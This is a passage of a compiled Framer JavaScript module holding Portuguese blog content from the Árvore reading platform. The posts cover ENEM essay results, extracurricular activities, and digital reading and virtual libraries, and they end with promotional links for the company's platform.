proposta, se ele n\\xe3o consegue nem compreender o tema, ele n\\xe3o conseguiu fazer uma leitura”.\"}),/*#__PURE__*/e(\"p\",{children:\"“Ler significa n\\xe3o s\\xf3 decodificar, mas significa compreender o que voc\\xea est\\xe1 lendo. Ent\\xe3o, pra ele produzir, primeiro ele precisa ler bem. Ele precisa ter repert\\xf3rio.” Explica a especialista.\"}),/*#__PURE__*/e(\"p\",{children:\"Para tornar eficaz o desenvolvimento da leitura, \\xe9 preciso repensar o processo de aprendizagem: “Um resultado como esse faz a gente pensar que \\xe9 preciso rever as estrat\\xe9gias de ensino de leitura”, segundo a educadora.\"}),/*#__PURE__*/a(\"p\",{children:[\"Como fazer isso? Uma das formas \\xe9 apresentando \",/*#__PURE__*/e(\"strong\",{children:\"textos reais\"}),\", do dia a dia para os leitores, sendo eles estudantes, ou n\\xe3o. “Colocar na m\\xe3o do aluno, desde pequenininho, os contos de fadas, not\\xedcias, f\\xe1bulas, textos informativos, imagens, legendas… Apresentar pra ele textos que de fato circulam, e n\\xe3o apenas textos didatizados” – mostra Let\\xedcia.\"]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Exemplos inspiradores\"})}),/*#__PURE__*/e(\"p\",{children:\"O entusiasmo pela leitura \\xe9 um fator essencial para elaborar e organizar as ideias no papel. Esse \\xe9 um dos segredos do sucesso de Cezar Vitor Vieira Pinheiro, que est\\xe1 entre os 250 estudantes com a nota m\\xe1xima no ENEM e ainda obteve m\\xe9dias altas em outras \\xe1reas do conhecimento. Ele n\\xe3o se destaca apenas por isso, mas tamb\\xe9m por ter atingido uma nota t\\xe3o elevada, mesmo com alguns pontos que poderiam desfavorec\\xea-lo.\"}),/*#__PURE__*/e(\"p\",{children:\"De acordo com reportagem na Folha de S. Paulo, Cezar tem apenas 14 anos e nem cursa o ensino m\\xe9dio ainda. Um menino de classe m\\xe9dia baixa que vive em uma regi\\xe3o pobre pr\\xf3ximo ao Vale do Jequitinhonha, em Minas Gerais. Al\\xe9m disso, ele tem apenas 50% da audi\\xe7\\xe3o em cada ouvido.\"}),/*#__PURE__*/e(\"p\",{children:\"Ele n\\xe3o \\xe9 o \\xfanico, o mesmo aconteceu para Marina Pereira Pimento, de 17 anos. Marina ainda cursa o segundo ano do Ensino M\\xe9dio e tem defici\\xeancia auditiva. Ela tamb\\xe9m est\\xe1 entre os 250 com nota m\\xe1xima no ENEM. Durantes as aulas, na escola, a estudante acompanha os professores atrav\\xe9s de leitura labial.\"}),/*#__PURE__*/a(\"p\",{children:[\"Em entrevista para o site O Globo, ela contou a import\\xe2ncia da leitura no seu desenvolvimento: “ler \\xe9 uma coisa de que gosto muito, \",/*#__PURE__*/e(\"strong\",{children:\"principalmente jornais\"}),\", que leio todos os dias desde pequena. Da\\xed \\xe9 que vem minha facilidade em entender os temas sociais”.\"]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"O que fazer?\"})}),/*#__PURE__*/e(\"blockquote\",{children:/*#__PURE__*/e(\"p\",{children:\"Educadores podem pensar em novas formas de enriquecer o repert\\xf3rio de leituras de seus alunos.\"})}),/*#__PURE__*/e(\"p\",{children:\"Cezar e Marina s\\xe3o exemplos de como a leitura pode interceder no desenvolvimento do aluno, mesmo com todas as adversidades. Os 250 alunos com nota m\\xe1xima no ENEM obtiveram um \\xf3timo desempenho, mas esse n\\xfamero ainda \\xe9 insatisfat\\xf3rio. O alto n\\xfamero de reda\\xe7\\xf5es com nota zero tamb\\xe9m serve como alerta.\"}),/*#__PURE__*/e(\"p\",{children:\"Ambos os resultados pedem uma reformula\\xe7\\xe3o nas interven\\xe7\\xf5es did\\xe1ticas. Entretanto, educadores podem imediatamente pensar em novas formas de enriquecer o repert\\xf3rio de leituras de seus alunos: apresentar not\\xedcias reais como temas para discuss\\xe3o, perguntar qual a opini\\xe3o dos alunos em rela\\xe7\\xe3o a artigos de revistas, aumentar a variedade de g\\xeaneros apresentados aos estudantes… S\\xe3o algumas formas, simples e pr\\xe1ticas, para come\\xe7ar esta importante revolu\\xe7\\xe3o.\"})]});export const richText20=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Muitos estudantes, quando voltam da escola, jogam suas mochilas em um canto e v\\xe3o em busca de outras atividades mais instigantes e prazerosas. Essa falta de proatividade na busca pelo conhecimento fora da escola \\xe9 normal. Por\\xe9m, pode ser vencida com est\\xedmulo do educador e da fam\\xedlia com atividades extraclasse. Mas o que \\xe9 atividade extraclasse?\"}),/*#__PURE__*/e(\"h2\",{children:\"O que \\xe9 atividade extraclasse?\"}),/*#__PURE__*/a(\"p\",{children:[\"As atividades extraclasse s\\xe3o propostas pelos educadores para que os alunos pratiquem fora da escola e, assim, consigam assimilar melhor os conceitos apresentados em sala de aula. Veja agora como aumentar o interesse e a \",/*#__PURE__*/e(o,{href:\"https://www.agendor.com.br/blog/tipo-de-motivacao-incentivo/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"motiva\\xe7\\xe3o\"})}),\" dos seus alunos por meio das atividades extraclasse!\"]}),/*#__PURE__*/e(\"h2\",{children:\"Quais s\\xe3o os benef\\xedcios das atividades extraclasse?\"}),/*#__PURE__*/a(\"p\",{children:[\"As atividades extraclasse podem ser \",/*#__PURE__*/e(\"strong\",{children:\"educativas, culturais ou esportivas\"}),\" e t\\xeam como principal objetivo o complemento do trabalho realizado em aula. Elas oferecem ao aluno a possibilidade de vivenciar, na pr\\xe1tica, muitos conceitos apresentados em classe, melhorando o seu desempenho de forma geral. Para o aluno, determinados conceitos vistos nas aulas n\\xe3o s\\xe3o t\\xe3o f\\xe1ceis de assimilar somente por meio de explica\\xe7\\xf5es e de imagens em livros. Ter, por exemplo, uma aula sobre a reprodu\\xe7\\xe3o das plantas em um jardim bot\\xe2nico torna o conhecimento mais acess\\xedvel do que somente por meio de um v\\xeddeo ou da explica\\xe7\\xe3o em frente ao quadro.\"]}),/*#__PURE__*/e(\"h2\",{children:\"Como implementar atividades extraclasse na sua escola?\"}),/*#__PURE__*/e(\"p\",{children:\"Para que voc\\xea consiga implementar a sua proposta de atividade extraclasse na escola onde trabalha, \\xe9 necess\\xe1rio:\"}),/*#__PURE__*/a(\"ul\",{children:[/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/a(\"p\",{children:[\"um \",/*#__PURE__*/e(o,{href:\"https://www.treasy.com.br/blog/planejamento-e-orcamento\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"planejamento e or\\xe7amento\"})}),\" meticuloso;\"]})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"objetivos claros;\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"adequa\\xe7\\xe3o ao p\\xfablico que ser\\xe1 atendido e ao projeto escolar.\"})})]}),/*#__PURE__*/e(\"p\",{children:\"Diretrizes como custo-benef\\xedcio, viabilidade, divulga\\xe7\\xe3o, inscri\\xe7\\xf5es, sa\\xedda e retorno da escola precisam ser definidas para que tudo saia conforme o esperado. Ap\\xf3s a realiza\\xe7\\xe3o da atividade extraclasse, as diretrizes determinadas devem ser reavaliadas para que a atividade possa ser reinserida no cronograma dos anos seguintes.\"}),/*#__PURE__*/e(\"h2\",{children:\"Exemplos de atividade extraclasse:\"}),/*#__PURE__*/a(\"p\",{children:[\"O aprendizado precisa ir al\\xe9m da escola e da li\\xe7\\xe3o de casa. Portanto, cabe ao educador criar algumas estrat\\xe9gias que far\\xe3o a diferen\\xe7a na vida do estudante. Os conte\\xfados ministrados em sala de aula precisam se consolidar na mente dos alunos para \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/acoes-estrategias-melhorar-desempenho-alunos\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"melhorar o desempenho dos alunos\"})}),\" de forma cont\\xednua. Veja alguns exemplos de atividades extraclasse que voc\\xea pode promover:\"]}),/*#__PURE__*/e(\"h3\",{children:\"1. Pesquisas que envolvam an\\xe1lise\"}),/*#__PURE__*/a(\"p\",{children:[\"Para evitar que os alunos fiquem ref\\xe9ns de fontes espec\\xedficas em livros ou em uma busca no Google, promova o confronto de informa\\xe7\\xf5es entre mais de uma fonte. Voc\\xea pode sugerir um tema e determinar uma quantidade m\\xednima de \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/5-autores-brasileiros-que-podem-encantar-as-criancas\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"autores\"})}),\" cujos trabalhos devem ser pesquisados, para que os alunos consigam analisar a forma de pensar de cada um e, assim, chegar a uma conclus\\xe3o.\"]}),/*#__PURE__*/e(\"h3\",{children:\"2. Atividades que promovam o debate\"}),/*#__PURE__*/e(\"p\",{children:\"O que os seus alunos pensam sobre um determinado tema? Sempre que for poss\\xedvel e estiver dentro da sua proposta educacional, incite o debate e valorize a opini\\xe3o de cada aluno. Ap\\xf3s todos se manifestarem, promova uma corre\\xe7\\xe3o coletiva. A import\\xe2ncia desse tipo de atividade est\\xe1 em fazer com que os seus alunos sintam-se sujeitos ativos em rela\\xe7\\xe3o ao seu posicionamento enquanto aprendizes.\"}),/*#__PURE__*/e(\"h3\",{children:\"3. Associa\\xe7\\xe3o dos temas estudados \\xe0 realidade da regi\\xe3o\"}),/*#__PURE__*/a(\"p\",{children:[\"Quando o conceito apresentado est\\xe1 associado \\xe0 realidade da sua comunidade ou cidade, o aluno enxerga com mais facilidade a aplica\\xe7\\xe3o em seu cotidiano. Assim, erros de ortografia podem ser procurados em placas de propaganda pelas ruas, a matem\\xe1tica pode ser associada \\xe0s taxas do banco dos pais de cada aluno ou a qu\\xedmica pode ser estudada a partir da composi\\xe7\\xe3o dos alimentos vendidos na cantina. \",/*#__PURE__*/e(\"strong\",{children:\"Lembre-se\"}),\": \\xe9 muito importante incentivar o acompanhamento e est\\xedmulo da fam\\xedlia. Pais e respons\\xe1veis devem ser orientados acerca da import\\xe2ncia da busca pelo conhecimento, pois eles s\\xe3o os exemplos di\\xe1rios dos estudantes.\"]}),/*#__PURE__*/a(\"p\",{children:[\"Cabe tamb\\xe9m \\xe0 fam\\xedlia levar o aluno a exposi\\xe7\\xf5es, debates, visitas e locais onde ele possa aprimorar o seu conhecimento sobre o que estudou e aprender coisas novas. Cabe ao educador n\\xe3o se limitar somente aos conceitos dos livros e sim ajudar a criar uma rede de est\\xedmulo que provoque no aluno o despertar para o conhecimento. A curiosidade est\\xe1 no estudante, \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/6-acoes-fundamentais-para-se-incentivar-a-leitura-na-escola\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"basta incentivar\"})}),\"!\"]}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/trilha-de-leituras?utm_source=blog_arvore&utm_medium=referral&utm_content=banner_final&utm_campaign=trilhadeleituras_2021\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/a(s.a,{children:[/*#__PURE__*/e(\"strong\",{children:\"Baixe gratuitamente nossas Trilhas de Leitur\"}),\"a\"]})}),\", com ideias de atividades para dentro e fora de sala de aula!\"]})]});export const richText21=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/a(\"p\",{children:[\"Os h\\xe1bitos de leitura dos brasileiros, principalmente dos jovens, mudaram radicalmente com a chegada da internet e dos dispositivos m\\xf3veis. Hoje l\\xea-se no celular, no tablet, em \",/*#__PURE__*/e(\"em\",{children:\"kindles\"}),\", no computador e nos displays de aparelhos eletr\\xf4nicos, o que permite que a leitura digital seja um h\\xe1bito cotidiano.\"]}),/*#__PURE__*/e(\"p\",{children:\"Mas isso leva a alguns questionamentos:\"}),/*#__PURE__*/a(\"ul\",{children:[/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"a leitura na era digital;\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"o que \\xe9 biblioteca virtual;\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"como funciona uma biblioteca virtual;\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"quais s\\xe3o as vantagens de uma biblioteca virtual;\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"as plataformas de leitura digital para bibliotecas virtuais.\"})})]}),/*#__PURE__*/e(\"p\",{children:\"Se voc\\xea \\xe9 educador ou respons\\xe1vel, \\xe9 importante entender os h\\xe1bitos de leitura da atualidade e como eles podem ser utilizados de maneira ben\\xe9fica para a vida acad\\xeamica. Para saber a resposta destas e outras perguntas, continue a leitura deste artigo!\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"A leitura na era digital\"})}),/*#__PURE__*/e(\"p\",{children:\"A tecnologia mudou a forma como lemos, mas essa continua sendo a principal a\\xe7\\xe3o para adquirir conhecimento. Para professores e educadores, ent\\xe3o, ler \\xe9 quest\\xe3o de sobreviv\\xeancia profissional.\"}),/*#__PURE__*/e(\"p\",{children:\"No entanto, na era digital, os livros f\\xedsicos — e n\\xe3o a leitura — est\\xe3o sendo deixados de lado, veja a diferen\\xe7a. Ir a uma biblioteca, buscar obras nas prateleiras ou ter que esperar algu\\xe9m devolver o livro para l\\xea-lo s\\xe3o h\\xe1bitos cada vez mais raros.\"}),/*#__PURE__*/e(\"p\",{children:\"Ao inv\\xe9s disso, as pesquisas s\\xe3o realizadas nos sites de buscas, em blogs especializados e em f\\xf3runs de discuss\\xe3o na internet. Os livros de um acervo digital s\\xe3o obtidos por meio de lojas e downloads, trechos s\\xe3o filtrados a partir de palavras-chave, cole\\xe7\\xf5es, obras raras e lan\\xe7amentos s\\xe3o acessados em bibliotecas virtuais.\"}),/*#__PURE__*/e(\"p\",{children:\"Pois \\xe9, a era da informa\\xe7\\xe3o e tecnologia mudou completamente a forma de buscar informa\\xe7\\xe3o e conhecimento. E, assim, a leitura pode ser acessada dentro de uma realidade virtual inserida na vida real.\"}),/*#__PURE__*/a(\"p\",{children:[\"Neste sentido, se abrir para as transforma\\xe7\\xf5es da era digital e \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/tecnologia-em-sala-de-aula-4-dicas-para-usa-las-na-educacao?utm_source=blog&utm_campaign=rc_blogpost\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"incluir novas tecnologias em sala de aula\"})}),\" \\xe9 de fundamental import\\xe2ncia para atrair a aten\\xe7\\xe3o dos alunos e estimular o \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/incentive-os-habitos-de-leitura-de-seus-alunos-com-estas-6-dicas?utm_source=blog&utm_campaign=rc_blogpost\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"h\\xe1bito da leitura\"})}),\" entre eles.\"]}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"em\",{children:/*#__PURE__*/e(\"strong\",{children:\"Ou\\xe7a no Plantando Hist\\xf3rias: \"})}),/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/podcast/o-incentivo-a-leitura-das-comunidades-online\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:/*#__PURE__*/e(\"em\",{children:/*#__PURE__*/e(\"strong\",{children:\"O incentivo \\xe0 leitura das comunidades online\"})})})})]})]});export const richText22=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"O que \\xe9 biblioteca virtual?\"})}),/*#__PURE__*/e(\"p\",{children:\"As bibliotecas virtuais s\\xe3o \\xf3timos exemplos de como a tecnologia est\\xe1 mudando os h\\xe1bitos de leitura, pois se diferem das demais em diversos fatores.\"}),/*#__PURE__*/a(\"p\",{children:[\"Seu \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/entenda-como-um-acervo-virtual-facilita-o-dia-a-dia-escolar?utm_source=blog&utm_campaign=rc_blogpost\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"acervo virtual\"})}),\" s\\xf3 existe no formato digital, podendo ser armazenado em diferentes mem\\xf3rias eletr\\xf4nicas e acessado a partir de qualquer dispositivo conectado \\xe0 internet, facilitando a gest\\xe3o e a manuten\\xe7\\xe3o dos livros disponibilizados.\"]}),/*#__PURE__*/e(\"p\",{children:\"Esse modelo de biblioteca online possui conte\\xfados dirigidos, filtrados e confi\\xe1veis, j\\xe1 que a maioria delas est\\xe1 vinculada \\xe0s institui\\xe7\\xf5es de ensino, \\xe0 educa\\xe7\\xe3o ou \\xe0 produ\\xe7\\xe3o de conhecimento.\"}),/*#__PURE__*/e(\"p\",{children:\"E o melhor: n\\xe3o h\\xe1 limite de empr\\xe9stimo, tempo de espera ou multas por atraso, como acontece nas bibliotecas f\\xedsicas. Al\\xe9m disso, o acervo pode ser constantemente atualizado.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"Como funciona uma biblioteca virtual?\"})}),/*#__PURE__*/e(\"p\",{children:\"O professor de Literatura e L\\xedngua Portuguesa do Centro de Ensino Superior dos Campos Gerais, Andr\\xe9 Lu\\xeds Rosa e Silva, definiu o que \\xe9 biblioteca virtual como “bibliotecas sem paredes”. E elas s\\xe3o exatamente isso: uma biblioteca sem limita\\xe7\\xf5es f\\xedsicas.\"}),/*#__PURE__*/a(\"p\",{children:[\"O \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/como-funciona-biblioteca-digital\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"funcionamento de uma biblioteca digital\"})}),\" possibilita o contato do leitor com obras de todas as \\xe1reas, publicadas em qualquer lugar do mundo e em diferentes l\\xednguas. Al\\xe9m do mais, ela existe em um ambiente com o qual os jovens j\\xe1 est\\xe3o bastante familiarizados: o mundo virtual.\"]}),/*#__PURE__*/e(\"p\",{children:\"Por n\\xe3o oferecer livros na forma convencional, a informa\\xe7\\xe3o digitalizada pode ser compartilhada instantaneamente e com um custo relativamente baixo, o que \\xe9 uma grande vantagem!\"}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"em\",{children:/*#__PURE__*/e(\"strong\",{children:\"Ou\\xe7a no Plantando Hist\\xf3rias: \"})}),/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/podcast/o-encontro-do-livro-com-o-digital\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:/*#__PURE__*/e(\"em\",{children:/*#__PURE__*/e(\"strong\",{children:\"O encontro do livro com o digital\"})})})})]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Quais s\\xe3o as vantagens de uma biblioteca virtual?\"})}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/leitura-digital-como-o-habito-beneficia-a-aprendizagem\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"A leitura digital beneficia a aprendizagem\"})}),\" e, al\\xe9m de poder ser combinada a uma biblioteca tradicional, a virtual traz uma s\\xe9rie de vantagens para institui\\xe7\\xf5es que decidem adot\\xe1-la. Confira a seguir:\"]}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"1. Empr\\xe9stimo de livros facilitado\"})}),/*#__PURE__*/e(\"p\",{children:\"Uma vez que todo o acervo \\xe9 disponibilizado pela Internet, o aluno n\\xe3o precisa se deslocar at\\xe9 a escola para ter acesso ao seu material de interesse. Os livros virtuais democratizam a leitura e a tornam mais acess\\xedvel.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"2. Redu\\xe7\\xe3o de custos\"})}),/*#__PURE__*/e(\"p\",{children:\"A ado\\xe7\\xe3o de uma biblioteca virtual ajuda a reduzir os custos das fam\\xedlias dos alunos e das pr\\xf3prias institui\\xe7\\xf5es de ensino.\"}),/*#__PURE__*/e(\"p\",{children:\"Para as primeiras, o acesso dos estudantes a obras essenciais para sua forma\\xe7\\xe3o acad\\xeamica se torna mais barata. Para as escolas, h\\xe1 economia no que se refere \\xe0 manuten\\xe7\\xe3o de toda estrutura necess\\xe1ria para o funcionamento da biblioteca f\\xedsica, al\\xe9m dos gastos relacionados \\xe0 substitui\\xe7\\xe3o de livros desgastados.\"}),/*#__PURE__*/a(\"h3\",{children:[\"‍\",/*#__PURE__*/e(\"strong\",{children:\"3. Incentivo \\xe0 leitura\"})]}),/*#__PURE__*/a(\"p\",{children:[\"Ao oferecer um acervo amplo, composto por diversos g\\xeaneros liter\\xe1rios e por obras de autores de diferentes regi\\xf5es do mundo, a biblioteca desperta a curiosidade dos alunos. Sendo assim, \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/como-utilizar-o-livro-digital-em-sala-de-aula\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"o livro digital em sala de aula\"})}),\" \\xe9 uma \\xf3tima ferramenta para o trabalho desenvolvido por professores.\"]}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"em\",{children:/*#__PURE__*/e(\"strong\",{children:\"Ou\\xe7a no Plantando Hist\\xf3rias: \"})}),/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/podcast/a-conexao-do-jovem-de-hoje-com-a-leitura\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:/*#__PURE__*/e(\"em\",{children:/*#__PURE__*/e(\"strong\",{children:\"A conex\\xe3o do jovem de hoje com a leitura\"})})})}),\"‍\"]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"As plataformas de leitura digital para bibliotecas virtuais\"})}),/*#__PURE__*/e(\"p\",{children:\"Indo al\\xe9m da proposta original, algumas bibliotecas virtuais funcionam tamb\\xe9m como plataformas de leitura digital. Por isso, elas s\\xe3o mais que dep\\xf3sitos virtuais de livros.\"}),/*#__PURE__*/e(\"p\",{children:\"Elas permitem que educadores e escolas disponibilizem conte\\xfados, desenvolvidos de acordo com o interesse dos alunos e pautados nas defini\\xe7\\xf5es do Projeto Pol\\xedtico Pedag\\xf3gico, nos celulares e tablets dos alunos.\"}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m disso, tamb\\xe9m \\xe9 poss\\xedvel enviar lista de material para os pais, preparar tarefas e provas, criar programas de leitura, entre outras atividades.\"}),/*#__PURE__*/e(\"p\",{children:\"Algumas plataformas permitem a cria\\xe7\\xe3o de relat\\xf3rios de leitura, possibilitando que o professor acompanhe tudo o que diz respeito \\xe0 leitura dos seus alunos: livros lidos, tempo de leitura, hor\\xe1rio etc.\"}),/*#__PURE__*/a(\"p\",{children:[\"Se voc\\xea entendeu a import\\xe2ncia de criar uma biblioteca virtual, \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/quero-arvore\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"confira como funciona uma plataforma de leitura digital\"})}),\"! A \\xc1rvore \\xe9 a maior solu\\xe7\\xe3o de leitura para transformar a educa\\xe7\\xe3o e j\\xe1 ajudou mais de 160 mil educadores da rede p\\xfablica e privada a incentivar seus alunos a explorar o mundo dos livros, sejam eles f\\xedsicos ou digitais.\"]}),/*#__PURE__*/e(\"p\",{children:\"‍\"})]});\nexport const __FramerMetadata__ = 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